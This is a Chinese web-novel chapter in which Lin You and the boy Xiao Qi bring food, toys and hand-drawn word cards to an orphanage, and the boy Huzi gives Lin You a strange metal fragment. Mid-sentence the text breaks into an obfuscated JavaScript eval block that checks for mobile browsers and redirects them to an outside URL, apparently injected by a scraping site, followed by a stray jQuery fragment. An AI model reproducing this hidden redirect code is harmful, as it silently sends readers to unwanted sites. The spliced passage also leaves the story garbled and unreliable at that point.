林柚提着两个大袋子，走得气喘吁吁。


    左手那袋是张阿姨打包的餐食，六份红烧肉盖饭，四份蛋花汤，外加一大袋切好的水果。右手那袋是他今天早上跑了大半个贫民窟的二手市场才淘到的旧玩具：三个缺了零件的拼图、五本本卷了角的绘本、两盒只剩半截的彩色蜡笔。


    【好重……胳膊快断了……】


    【早知道让阿强哥帮忙送了，非逞什么英雄。】


    【可是孩子们看到阿强哥送的，和看到我亲自提来的，心情肯定不一样吧。】


    小七走在他身侧，书包里鼓鼓囊囊地塞着什么。林柚早上问过一次，小七只说是给小朋友的礼物，然后就闭嘴了。


    【小七带了什么呢？该不会是他在幼儿园做的手工课作品吧？】


    【上次他用折纸折出了一个每个面角度都完全相等的正十二面体，把老师看得一愣一愣的。】


    【希望这次正常一点……】


    两人拐过一条熟悉的巷子，前方那栋摇摇欲坠的危楼出现在视野里。


    孤儿院到了。


    ……


    还没走到门口，一个尖锐的童声就从院子里炸了出来。


    “柚子哥哥来啦——”


    然后是一阵急促的脚步声。


    院门被砰地撞开，十几个大小不一的孩子像一群被放出笼的鸟，叽叽喳喳地涌了出来。


    打头的是虎子。


    七八岁的小男孩跑得最快，脸上黑一道白一道的，也不知道是灰还是什么，但一双眼睛亮得惊人。他一头扎进林柚怀里，差点把林柚连人带袋子撞翻。


    “柚子哥哥。你今天带了什么好吃的？”


    “我闻到肉味了。”后面的孩子也挤过来，小鼻子一个比一个灵。


    “让我看看！让我看看！”


    林柚被团团围住，左躲右闪地护着袋子。


    “别抢别抢，够吃的，每人都有份。”


    【救命，我快被挤成夹心饼干了……】


    【孩子们的战斗力也太强了吧。】


    他好不容易从人堆里挣脱出来，把两个袋子举高：“先洗手，洗了手的才能吃。”


    一句话的工夫，院子里的水龙头前就排起了长队。


    孩子们你推我搡地洗手，水花溅了一地。有几个小的够不着水龙头，虎子主动把他们抱起来，一副大哥的架势。


    林柚看着这一幕，嘴角不自觉地翘起来。


    【虎子长大了啊……上次来的时候，他还因为抢苹果和旁边那个小胖墩打架来着。】


    【现在居然会照顾弟弟妹妹了。】


    小七默不作声地蹲在角落，从书包里掏出一叠纸。


    林柚凑过去一看，是手绘的识字卡片。每张巴掌大小，正面画着简笔画，背面写着对应的字。画风简洁，线条干净，一看就是机器般精准的手。


    苹果、星星、房子、小狗、太阳……


    最后一张画的是两个火柴人，一大一小，手牵着手。旁边写着两个字：


    家人。


    林柚愣了一下。


    【小七……】


    【他什么时候画的这些？】


    【上面的字迹很工整，每一笔都标了笔顺。这是专门给孤儿院不识字的小朋友准备的。】


    【这孩子嘴上从来不说，心里什么都记着。】


    “小七，这些是你做的？”


    小七面无表情地把卡片递给围过来的孩子们：“识字卡。每天认三个字，一个月后测试。不合格的没有糖吃。”


    孩子们接过卡片，翻来翻去地看，叽叽喳喳地讨论。


    “这个苹果我认识！”


    “小七弟弟画的小狗好可爱。”


    “这两个人是谁呀？”一个最小的女孩指着最后那张卡片。


    小七顿了一下：“家人。”


    “家人是什么？”


    小七没有回答，转头看向正在分饭的林柚：


    “就是……不管发生什么，都会在一起的人。”


    ……


    饭分完了，孩子们吃得满嘴油光。


    林柚坐在院子里一把缺了腿的椅子上，看着眼前的画面。


    虎子端着饭盒蹲在他脚边，一边扒饭一边絮叨：“柚子哥哥，你上次带来的那个拼图我拼好了，拼了三天，那个缺的那块我用硬纸板自己做了一个，虽然颜色不太对，但是能卡进去。”


    “真厉害。”林柚由衷地夸了一句。


    “那当然，”虎子挺起小胸脯，随即又压低声音，神秘兮兮地凑过来，“柚子哥哥，我有个东西要给你。”


    “嗯？”


    虎子左右看了看，确定没人注意，从裤兜里掏出一样东西，双手捧着递到林柚面前。


    是一块指甲盖大小的金属片。


    边缘参差不齐，像是从什么更大的东西上断裂下来的。表面布满了细密的划痕，但中间有一小块被磨得发亮，隐约能看到一丝极浅的弧形纹路。


    “这是……”林柚接过来，放在指尖翻看。


    “我在河滩捡到的，”虎子的眼睛亮闪闪的，“跟上次的石头不一样，这个是金属的，特别硬，我用石头磨了好久好久，才磨出来一点点亮的地方。”


    他压低声音，小脸上满是郑重：“柚子哥哥，我觉得这个比石头值钱。你拿去鉴定，说不定能卖好多好多钱。”


    林柚看着那块小小的金属碎片。


    「物品初步扫描：金属碎片，来源不明。材质疑似……」


    信息条突然卡顿了一下，然后继续滚动：


    「……材质高度异常。表层氧化模式与已知常规合金均不匹配。内部结构检测受限（样本过小）。建议：保留样本，待后续深度分析。


    备注：表面弧形纹路残片与此前吊坠纹章数据库中某一模糊条目存在12.7%的轮廓相似度。置信度过低，不具备判定价值。仅记录存档。」


    林柚没有注意到这条备注。他的注意力全在虎子身上。


    【这孩子……又送我东西了。】


    【上次是石头，这次是金属片。】


    【每次都那么认真，像是在献上自己最珍贵的宝贝。】


    【可能这些对他来说，真的就是最珍贵的东西了。】


    他把金属片小心地放进口袋，和上次虎子送的那块鹅卵石紧挨在一起。


    “谢谢虎子。”林柚摸了摸他的脑袋，“我会好好保管的。”


    虎子咧嘴笑了，露出缺了门牙的豁口：“嘿嘿


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148563|194863||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，柚子哥哥每次都说好好保管，你是不是真的都留着？”


    “当然都留着。”林柚从口袋里掏出那块鹅卵石，在虎子面前晃了晃，“看，你上次送的，我一直带着。”


    虎子的眼睛一下子瞪得老大，脸涨得通红。


    “你……你真的……”


    他低下头，使劲揉了揉眼睛，声音闷闷的：“柚子哥哥，你是我见过的最好的人。”


    林柚心里狠狠抽疼了一下。


    【傻孩子……我只是随手揣在口袋里而已，又不是什么了不起的事。】


    【可对你来说……被人重视，真的那么稀罕吗？】


    他深吸一口气，把饭盒放到一旁，冲周围的孩子们招了招手。


    “你们都过来，我有话想跟你们说。”


    孩子们三三两两地凑过来，围坐在林柚面前。大的抱着小的，有几个还在嘬手指。


    林柚看着这十几双眼睛，心里涌上一种说不清的酸胀。


    【这些孩子……在这个世界上没有父母、没有家。】


    【和我一样。】


    【不，比我惨。我好歹还有小七，还有唐伯伯，还有张阿姨。他们什么都没有。】


    他清了清嗓子，


    “我想跟你们约定一件事。”


    孩子们安静下来，齐刷刷地看着他。


    “从今天开始，每周六的下午，我都会来看你们。”


    虎子第一个喊：“真的？！”


    “真的。”林柚点头，“每次来，我会给你们带吃的。张阿姨说了，每周给你们留十份盖饭，不要钱。”


    孩子们欢呼起来。


    “还有，”林柚竖起第二根手指，“我会教你们认字。小七做了识字卡片，你们每周学会十个字，月底考试......”


    “不合格的没有糖吃。”小七在旁边冷冰冰地补充。


    孩子们的欢呼声戛然而止，齐刷刷地看向小七。


    小七面无表情地回视他们。


    “……我们一定好好学。”虎子率先表态。


    “还有最后一条。”林柚伸出第三根手指。


    他看着这些孩子的脸，一个一个地看过去。


    “只要你们在，我就会一直来。”


    院子里突然安静了。


    孩子们的眼睛里亮起了什么，虎子愣了好一会儿，然后猛地扑过来抱住林柚的腰。


    “柚子哥哥……你不会骗我们吧？”他闷着头说，声音有些发抖，“以前也有人说会来看我们，后来就再也没来过了……”


    林柚心里狠狠抽疼了一下。


    他把虎子的头按在怀里，轻声说：“我跟他们不一样。”


    【因为我们是一样的。】


    【都是没人要的。】


    【都是被世界扔进角落里的。】


    【至少……至少我能让你们知道，有人记得你们，有人在乎你们在不在。】


    其他孩子也陆续围过来，有的抱着他的胳膊，有的拽着他的衣角。最小的那个女孩踮起脚尖，把一朵皱巴巴的野花别在林柚的耳朵上。


    “柚子哥哥，这个送你。”


    林柚笑了，眼眶却有些发酸。


    “谢谢。我会一直戴着的。”